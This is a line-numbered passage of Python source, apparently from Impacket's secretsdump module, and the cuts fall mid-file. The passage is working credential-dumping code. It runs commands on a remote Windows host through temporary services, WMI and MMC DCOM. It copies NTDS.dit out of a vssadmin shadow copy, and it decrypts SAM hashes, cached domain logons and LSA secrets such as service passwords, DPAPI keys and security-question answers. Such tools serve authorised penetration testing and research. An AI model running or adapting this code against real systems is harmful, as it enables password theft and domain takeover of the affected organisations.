799 rrp.hBaseRegCloseKey(self.__rrp, regHandle)
800 # Now let's open the remote file, so it can be read later
801 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
802 return remoteFileName
804 def saveSAM(self):
805 LOG.debug('Saving remote SAM database')
806 return self.__retrieveHive('SAM')
808 def saveSECURITY(self):
809 LOG.debug('Saving remote SECURITY database')
810 return self.__retrieveHive('SECURITY')
812 def __smbExec(self, command):
813 self.__serviceDeleted = False
814 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
815 lpBinaryPathName=command)
816 service = resp['lpServiceHandle']
817 try:
818 scmr.hRStartServiceW(self.__scmr, service)
819 except:
820 pass
821 scmr.hRDeleteService(self.__scmr, service)
822 self.__serviceDeleted = True
823 scmr.hRCloseServiceHandle(self.__scmr, service)
825 def __getInterface(self, interface, resp):
826 # Now let's parse the answer and build an Interface instance
827 objRefType = OBJREF(b''.join(resp))['flags']
828 objRef = None
829 if objRefType == FLAGS_OBJREF_CUSTOM:
830 objRef = OBJREF_CUSTOM(b''.join(resp))
831 elif objRefType == FLAGS_OBJREF_HANDLER:
832 objRef = OBJREF_HANDLER(b''.join(resp))
833 elif objRefType == FLAGS_OBJREF_STANDARD:
834 objRef = OBJREF_STANDARD(b''.join(resp))
835 elif objRefType == FLAGS_OBJREF_EXTENDED:
836 objRef = OBJREF_EXTENDED(b''.join(resp))
837 else:
838 logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
840 return IRemUnknown2(
841 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
842 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
843 target=interface.get_target()))
845 def __mmcExec(self,command):
846 command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
847 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
848 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
849 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
850 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
851 iMMC = IDispatch(iInterface)
853 resp = iMMC.GetIDsOfNames(('Document',))
855 dispParams = DISPPARAMS(None, False)
856 dispParams['rgvarg'] = NULL
857 dispParams['rgdispidNamedArgs'] = NULL
858 dispParams['cArgs'] = 0
859 dispParams['cNamedArgs'] = 0
860 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
862 iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
863 resp = iDocument.GetIDsOfNames(('ActiveView',))
864 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
866 iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
867 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
869 pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
871 dispParams = DISPPARAMS(None, False)
872 dispParams['rgdispidNamedArgs'] = NULL
873 dispParams['cArgs'] = 4
874 dispParams['cNamedArgs'] = 0
875 arg0 = VARIANT(None, False)
876 arg0['clSize'] = 5
877 arg0['vt'] = VARENUM.VT_BSTR
878 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
879 arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'
881 arg1 = VARIANT(None, False)
882 arg1['clSize'] = 5
883 arg1['vt'] = VARENUM.VT_BSTR
884 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
885 arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'
887 arg2 = VARIANT(None, False)
888 arg2['clSize'] = 5
889 arg2['vt'] = VARENUM.VT_BSTR
890 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
891 arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]
893 arg3 = VARIANT(None, False)
894 arg3['clSize'] = 5
895 arg3['vt'] = VARENUM.VT_BSTR
896 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
897 arg3['_varUnion']['bstrVal']['asData'] = '7'
898 dispParams['rgvarg'].append(arg3)
899 dispParams['rgvarg'].append(arg2)
900 dispParams['rgvarg'].append(arg1)
901 dispParams['rgvarg'].append(arg0)
903 iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
905 dispParams = DISPPARAMS(None, False)
906 dispParams['rgvarg'] = NULL
907 dispParams['rgdispidNamedArgs'] = NULL
908 dispParams['cArgs'] = 0
909 dispParams['cNamedArgs'] = 0
911 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
914 def __wmiExec(self, command):
915 # Convert command to wmi exec friendly format
916 command = command.replace('%COMSPEC%', 'cmd.exe')
917 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
918 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
919 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
920 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
921 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
922 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
923 iWbemLevel1Login.RemRelease()
925 win32Process,_ = iWbemServices.GetObject('Win32_Process')
926 win32Process.Create(command, '\\', None)
928 dcom.disconnect()
930 def __executeRemote(self, data):
931 self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
932 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
933 self.__shell + self.__batchFile
934 command += ' & ' + 'del ' + self.__batchFile
936 LOG.debug('ExecuteRemote command: %s' % command)
937 if self.__execMethod == 'smbexec':
938 self.__smbExec(command)
939 elif self.__execMethod == 'wmiexec':
940 self.__wmiExec(command)
941 elif self.__execMethod == 'mmcexec':
942 self.__mmcExec(command)
943 else:
944 raise Exception('Invalid exec method %s, aborting' % self.__execMethod)
947 def __answer(self, data):
948 self.__answerTMP += data
950 def __getLastVSS(self, forDrive=None):
951 if forDrive:
952 command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive
953 else:
954 command = '%COMSPEC% /C vssadmin list shadows'
955 self.__executeRemote(command)
956 time.sleep(5)
957 tries = 0
958 while True:
959 try:
960 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
961 break
962 except Exception as e:
963 if tries > 30:
964 # We give up
965 raise Exception('Too many tries trying to list vss shadows')
966 if str(e).find('SHARING') > 0:
967 # Stuff didn't finish yet.. wait more
968 time.sleep(5)
969 tries +=1
970 pass
971 else:
972 raise
974 lines = self.__answerTMP.split(b'\n')
975 lastShadow = b''
976 lastShadowFor = b''
977 lastShadowId = b''
979 # Let's find the last one
980 # The string used to search the shadow for drive. Wondering what happens
981 # in other languages
982 SHADOWFOR = b'Volume: ('
983 IDSTART = b'Shadow Copy ID: {'
984 IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')
986 for line in lines:
987 if line.find(b'GLOBALROOT') > 0:
988 lastShadow = line[line.find(b'\\\\?'):][:-1]
989 elif line.find(SHADOWFOR) > 0:
990 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
991 elif line.find(IDSTART) > 0:
992 lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]
994 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
996 LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))
998 return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')
1000 def saveNTDS(self):
1001 LOG.info('Searching for NTDS.dit')
1002 # First of all, let's try to read the target NTDS.dit registry entry
1003 ans = rrp.hOpenLocalMachine(self.__rrp)
1004 regHandle = ans['phKey']
1005 try:
1006 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
1007 keyHandle = ans['phkResult']
1008 except:
1009 # Can't open the registry path, assuming no NTDS on the other end
1010 return None
1012 try:
1013 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
1014 ntdsLocation = dataValue[:-1]
1015 ntdsDrive = ntdsLocation[:2]
1016 except:
1017 # Can't open the registry path, assuming no NTDS on the other end
1018 return None
1020 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
1021 rrp.hBaseRegCloseKey(self.__rrp, regHandle)
1023 LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
1024 LOG.info('Using %s method for remote execution' % self.__execMethod)
1025 # Get the list of remote shadows
1026 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
1027 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
1028 # No shadow, create one
1029 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
1030 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
1031 shouldRemove = True
1032 if shadow == '' or shadowFor != ntdsDrive:
1033 raise Exception('Could not get a VSS')
1034 else:
1035 # There was already a shadow, let's not delete this
1036 shouldRemove = False
1038 # Now copy the ntds.dit to the temp directory
1039 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
1041 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
1043 if shouldRemove is True:
1044 LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
1045 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
1048 tries = 0
1049 while True:
1050 try:
1051 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
1052 break
1053 except Exception as e:
1054 if tries >= 30:
1055 raise e
1056 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
1057 tries += 1
1058 time.sleep(5)
1059 pass
1060 else:
1061 logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
1062 pass
1064 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
1066 return remoteFileName
1068class CryptoCommon:
1069 # Common crypto stuff used over different classes
1070 def deriveKey(self, baseKey):
1071 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
1072 # Let I be the little-endian, unsigned integer.
1073 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
1074 # Note that because I is in little-endian byte order, I[0] is the least significant byte.
1075 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
1076 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
1077 key = pack('<L',baseKey)
1078 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
1079 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
1080 if PY2:
1081 return transformKey(b''.join(key1)),transformKey(b''.join(key2))
1082 else:
1083 return transformKey(bytes(key1)),transformKey(bytes(key2))
1085 @staticmethod
1086 def decryptAES(key, value, iv=b'\x00'*16):
1087 plainText = b''
1088 if iv != b'\x00'*16:
1089 aes256 = AES.new(key,AES.MODE_CBC, iv)
1091 for index in range(0, len(value), 16):
1092 if iv == b'\x00'*16:
1093 aes256 = AES.new(key,AES.MODE_CBC, iv)
1094 cipherBuffer = value[index:index+16]
1095 # Pad buffer to 16 bytes
1096 if len(cipherBuffer) < 16:
1097 cipherBuffer += b'\x00' * (16-len(cipherBuffer))
1098 plainText += aes256.decrypt(cipherBuffer)
1100 return plainText
1103class OfflineRegistry:
1104 def __init__(self, hiveFile = None, isRemote = False):
1105 self.__hiveFile = hiveFile
1106 if self.__hiveFile is not None:
1107 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
1109 def enumKey(self, searchKey):
1110 parentKey = self.__registryHive.findKey(searchKey)
1112 if parentKey is None:
1113 return
1115 keys = self.__registryHive.enumKey(parentKey)
1117 return keys
1119 def enumValues(self, searchKey):
1120 key = self.__registryHive.findKey(searchKey)
1122 if key is None:
1123 return
1125 values = self.__registryHive.enumValues(key)
1127 return values
1129 def getValue(self, keyValue):
1130 value = self.__registryHive.getValue(keyValue)
1132 if value is None:
1133 return
1135 return value
1137 def getClass(self, className):
1138 value = self.__registryHive.getClass(className)
1140 if value is None:
1141 return
1143 return value
1145 def finish(self):
1146 if self.__hiveFile is not None:
1147 # Remove temp file and whatever else is needed
1148 self.__registryHive.close()
1150class SAMHashes(OfflineRegistry):
1151 def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
1152 OfflineRegistry.__init__(self, samFile, isRemote)
1153 self.__samFile = samFile
1154 self.__hashedBootKey = b''
1155 self.__bootKey = bootKey
1156 self.__cryptoCommon = CryptoCommon()
1157 self.__itemsFound = {}
1158 self.__perSecretCallback = perSecretCallback
1160 def MD5(self, data):
1161 md5 = hashlib.new('md5')
1162 md5.update(data)
1163 return md5.digest()
1165 def getHBootKey(self):
1166 LOG.debug('Calculating HashedBootKey from SAM')
1167 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
1168 DIGITS = b"0123456789012345678901234567890123456789\0"
1170 F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]
1172 domainData = DOMAIN_ACCOUNT_F(F)
1174 if domainData['Key0'][0:1] == b'\x01':
1175 samKeyData = SAM_KEY_DATA(domainData['Key0'])
1177 rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
1178 rc4 = ARC4.new(rc4Key)
1179 self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])
1181 # Verify key with checksum
1182 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
1184 if checkSum != self.__hashedBootKey[16:]:
1185 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
1187 elif domainData['Key0'][0:1] == b'\x02':
1188 # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
1189 samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
1191 self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
1192 samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
1194 def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):
1195 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
1196 # plus hashedBootKey stuff
1197 Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
1199 Crypt1 = DES.new(Key1, DES.MODE_ECB)
1200 Crypt2 = DES.new(Key2, DES.MODE_ECB)
1202 if newStyle is False:
1203 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
1204 rc4 = ARC4.new(rc4Key)
1205 key = rc4.encrypt(cryptedHash['Hash'])
1206 else:
1207 key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]
1209 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
1211 return decryptedHash
1213 def dump(self):
1214 NTPASSWORD = b"NTPASSWORD\0"
1215 LMPASSWORD = b"LMPASSWORD\0"
1217 if self.__samFile is None:
1218 # No SAM file provided
1219 return
1221 LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
1222 self.getHBootKey()
1224 usersKey = 'SAM\\Domains\\Account\\Users'
1226 # Enumerate all the RIDs
1227 rids = self.enumKey(usersKey)
1228 # Remove the Names item
1229 try:
1230 rids.remove('Names')
1231 except:
1232 pass
1234 for rid in rids:
1235 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
1236 rid = int(rid,16)
1238 V = userAccount['Data']
1240 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
1242 if userAccount['NTHashLength'] == 0:
1243 logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName)
1244 continue
1246 encNTHash = b''
1247 if V[userAccount['NTHashOffset']:][2:3] == b'\x01':
1248 # Old Style hashes
1249 newStyle = False
1250 if userAccount['LMHashLength'] == 20:
1251 encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
1252 if userAccount['NTHashLength'] == 20:
1253 encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
1254 else:
1255 # New Style hashes
1256 newStyle = True
1257 if userAccount['LMHashLength'] == 24:
1258 encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
1259 encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
1261 LOG.debug('NewStyle hashes is: %s' % newStyle)
1262 if userAccount['LMHashLength'] >= 20:
1263 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
1264 else:
1265 lmHash = b''
1267 if encNTHash != b'':
1268 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
1269 else:
1270 ntHash = b''
1272 if lmHash == b'':
1273 lmHash = ntlm.LMOWFv1('','')
1274 if ntHash == b'':
1275 ntHash = ntlm.NTOWFv1('','')
1277 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))
1278 self.__itemsFound[rid] = answer
1279 self.__perSecretCallback(answer)
1281 def export(self, baseFileName, openFileFunc = None):
1282 if len(self.__itemsFound) > 0:
1283 items = sorted(self.__itemsFound)
1284 fileName = baseFileName+'.sam'
1285 fd = openFile(fileName, openFileFunc=openFileFunc)
1286 for item in items:
1287 fd.write(self.__itemsFound[item]+'\n')
1288 fd.close()
1289 return fileName
1291class LSASecrets(OfflineRegistry):
1292 UNKNOWN_USER = '(Unknown User)'
1293 class SECRET_TYPE:
1294 LSA = 0
1295 LSA_HASHED = 1
1296 LSA_RAW = 2
1297 LSA_KERBEROS = 3
1299 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,
1300 perSecretCallback=lambda secretType, secret: _print_helper(secret)):
1301 OfflineRegistry.__init__(self, securityFile, isRemote)
1302 self.__hashedBootKey = b''
1303 self.__bootKey = bootKey
1304 self.__LSAKey = b''
1305 self.__NKLMKey = b''
1306 self.__vistaStyle = True
1307 self.__cryptoCommon = CryptoCommon()
1308 self.__securityFile = securityFile
1309 self.__remoteOps = remoteOps
1310 self.__cachedItems = []
1311 self.__secretItems = []
1312 self.__perSecretCallback = perSecretCallback
1313 self.__history = history
1315 def MD5(self, data):
1316 md5 = hashlib.new('md5')
1317 md5.update(data)
1318 return md5.digest()
1320 def __sha256(self, key, value, rounds=1000):
1321 sha = hashlib.sha256()
1322 sha.update(key)
1323 for i in range(1000):
1324 sha.update(value)
1325 return sha.digest()
1327 def __decryptSecret(self, key, value):
1328 # [MS-LSAD] Section 5.1.2
1329 plainText = b''
1331 encryptedSecretSize = unpack('<I', value[:4])[0]
1332 value = value[len(value)-encryptedSecretSize:]
1334 key0 = key
1335 for i in range(0, len(value), 8):
1336 cipherText = value[:8]
1337 tmpStrKey = key0[:7]
1338 tmpKey = transformKey(tmpStrKey)
1339 Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
1340 plainText += Crypt1.decrypt(cipherText)
1341 key0 = key0[7:]
1342 value = value[8:]
1343 # AdvanceKey
1344 if len(key0) < 7:
1345 key0 = key[len(key0):]
1347 secret = LSA_SECRET_XP(plainText)
1348 return secret['Secret']
1350 def __decryptHash(self, key, value, iv):
1351 hmac_md5 = HMAC.new(key,iv,MD5)
1352 rc4key = hmac_md5.digest()
1354 rc4 = ARC4.new(rc4key)
1355 data = rc4.encrypt(value)
1356 return data
1358 def __decryptLSA(self, value):
1359 if self.__vistaStyle is True:
1360 # ToDo: There could be more than one LSA Keys
1361 record = LSA_SECRET(value)
1362 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
1363 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1364 record = LSA_SECRET_BLOB(plainText)
1365 self.__LSAKey = record['Secret'][52:][:32]
1367 else:
1368 md5 = hashlib.new('md5')
1369 md5.update(self.__bootKey)
1370 for i in range(1000):
1371 md5.update(value[60:76])
1372 tmpKey = md5.digest()
1373 rc4 = ARC4.new(tmpKey)
1374 plainText = rc4.decrypt(value[12:60])
1375 self.__LSAKey = plainText[0x10:0x20]
1377 def __getLSASecretKey(self):
1378 LOG.debug('Decrypting LSA Key')
1379 # Let's try the key post XP
1380 value = self.getValue('\\Policy\\PolEKList\\default')
1381 if value is None:
1382 LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
1383 # Second chance
1384 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
1385 self.__vistaStyle = False
1386 if value is None:
1387 # No way :(
1388 return None
1390 self.__decryptLSA(value[1])
1392 def __getNLKMSecret(self):
1393 LOG.debug('Decrypting NL$KM')
1394 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
1395 if value is None:
1396 raise Exception("Couldn't get NL$KM value")
1397 if self.__vistaStyle is True:
1398 record = LSA_SECRET(value[1])
1399 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1400 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1401 else:
1402 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
1404 def __pad(self, data):
1405 if (data & 0x3) > 0:
1406 return data + (data & 0x3)
1407 else:
1408 return data
1410 def dumpCachedHashes(self):
1411 if self.__securityFile is None:
1412 # No SECURITY file provided
1413 return
1415 LOG.info('Dumping cached domain logon information (domain/username:hash)')
1417 # Let's first see if there are cached entries
1418 values = self.enumValues('\\Cache')
1419 if values is None:
1420 # No cache entries
1421 return
1422 try:
1423 # Remove unnecessary value
1424 values.remove(b'NL$Control')
1425 except:
1426 pass
1428 iterationCount = 10240
1430 if b'NL$IterationCount' in values:
1431 values.remove(b'NL$IterationCount')
1433 record = self.getValue('\\Cache\\NL$IterationCount')[1]
1434 if record > 10240:
1435 iterationCount = record & 0xfffffc00
1436 else:
1437 iterationCount = record * 1024
1439 self.__getLSASecretKey()
1440 self.__getNLKMSecret()
1442 for value in values:
1443 LOG.debug('Looking into %s' % value.decode('utf-8'))
1444 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])
1445 if record['IV'] != 16 * b'\x00':
1446 #if record['UserLength'] > 0:
1447 if record['Flags'] & 1 == 1:
1448 # Encrypted
1449 if self.__vistaStyle is True:
1450 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
1451 else:
1452 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
1453 pass
1454 else:
1455 # Plain! Until we figure out what this is, we skip it
1456 #plainText = record['EncryptedData']
1457 continue
1458 encHash = plainText[:0x10]
1459 plainText = plainText[0x48:]
1460 userName = plainText[:record['UserLength']].decode('utf-16le')
1461 plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]
1462 domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
1464 if self.__vistaStyle is True:
1465 answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'))
1466 else:
1467 answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName)
1469 self.__cachedItems.append(answer)
1470 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
1472 def __printSecret(self, name, secretItem):
1473 # Based on [MS-LSAD] section 3.1.1.4
1475 # First off, let's discard NULL secrets.
1476 if len(secretItem) == 0:
1477 LOG.debug('Discarding secret %s, NULL Data' % name)
1478 return
1480 # We might have secrets with zero
1481 if secretItem.startswith(b'\x00\x00'):
1482 LOG.debug('Discarding secret %s, all zeros' % name)
1483 return
1485 upperName = name.upper()
1487 LOG.info('%s ' % name)
1489 secret = ''
1491 if upperName.startswith('_SC_'):
1492 # Service name, a password might be there
1493 # Let's first try to decode the secret
1494 try:
1495 strDecoded = secretItem.decode('utf-16le')
1496 except:
1497 pass
1498 else:
1499 # We have to get the account the service
1500 # runs under
1501 if hasattr(self.__remoteOps, 'getServiceAccount'):
1502 account = self.__remoteOps.getServiceAccount(name[4:])
1503 if account is None:
1504 secret = self.UNKNOWN_USER + ':'
1505 else:
1506 secret = "%s:" % account
1507 else:
1508 # We don't support getting this info for local targets at the moment
1509 secret = self.UNKNOWN_USER + ':'
1510 secret += strDecoded
1511 elif upperName.startswith('DEFAULTPASSWORD'):
1512 # defaults password for winlogon
1513 # Let's first try to decode the secret
1514 try:
1515 strDecoded = secretItem.decode('utf-16le')
1516 except:
1517 pass
1518 else:
1519 # We have to get the account this password is for
1520 if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):
1521 account = self.__remoteOps.getDefaultLoginAccount()
1522 if account is None:
1523 secret = self.UNKNOWN_USER + ':'
1524 else:
1525 secret = "%s:" % account
1526 else:
1527 # We don't support getting this info for local targets at the moment
1528 secret = self.UNKNOWN_USER + ':'
1529 secret += strDecoded
1530 elif upperName.startswith('ASPNET_WP_PASSWORD'):
1531 try:
1532 strDecoded = secretItem.decode('utf-16le')
1533 except:
1534 pass
1535 else:
1536 secret = 'ASPNET: %s' % strDecoded
1537 elif upperName.startswith('DPAPI_SYSTEM'):
1538 # Decode the DPAPI Secrets
1539 dpapi = DPAPI_SYSTEM(secretItem)
1540 secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),
1541 hexlify(dpapi['UserKey']).decode('latin-1'))
1542 elif upperName.startswith('$MACHINE.ACC'):
1543 # compute MD4 of the secret.. yes.. that is the nthash? :-o
1544 md4 = MD4.new()
1545 md4.update(secretItem)
1546 if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):
1547 machine, domain = self.__remoteOps.getMachineNameAndDomain()
1548 printname = "%s\\%s$" % (domain, machine)
1549 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
1550 hexlify(md4.digest()).decode('utf-8'))
1551 else:
1552 printname = "$MACHINE.ACC"
1553 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
1554 hexlify(md4.digest()).decode('utf-8'))
1555 # Attempt to calculate and print Kerberos keys
1556 if not self.__printMachineKerberos(secretItem, printname):
1557 LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')
1558 # Always print plaintext anyway since this may be needed for some popular usecases
1559 extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))
1560 self.__secretItems.append(extrasecret)
1561 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
1562 elif re.match('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:
1563 # Decode stored security questions
1564 sid = re.search('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)
1565 try:
1566 strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ')
1567 strDecoded = json.loads(strDecoded)
1568 except:
1569 pass
1570 else:
1571 output = []
1572 if strDecoded['version'] == 1:
1573 output.append(" - Version : %d" % strDecoded['version'])
1574 for qk in strDecoded['questions']:
1575 output.append(" | Question: %s" % qk['question'])
1576 output.append(" | ���������> Answer: %s" % qk['answer'])
1577 output = '\n'.join(output)
1578 secret = 'Security Questions for user %s: \n%s' % (sid, output)
1579 else:
1580 LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version']))
1581 LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.")
1582 secret = json.dumps(strDecoded, indent=4)
1584 if secret != '':
1585 printableSecret = secret
1586 self.__secretItems.append(secret)
1587 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
1588 else:
1589 # Default print, hexdump
1590 printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))
1591 self.__secretItems.append(printableSecret)
1592 # If we're using the default callback (ourselves), we print the hex representation. If not, the
1593 # user will need to decide what to do.
1594 if self.__module__ == self.__perSecretCallback.__module__:
1595 hexdump(secretItem)
1596 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)
1598 def __printMachineKerberos(self, rawsecret, machinename):
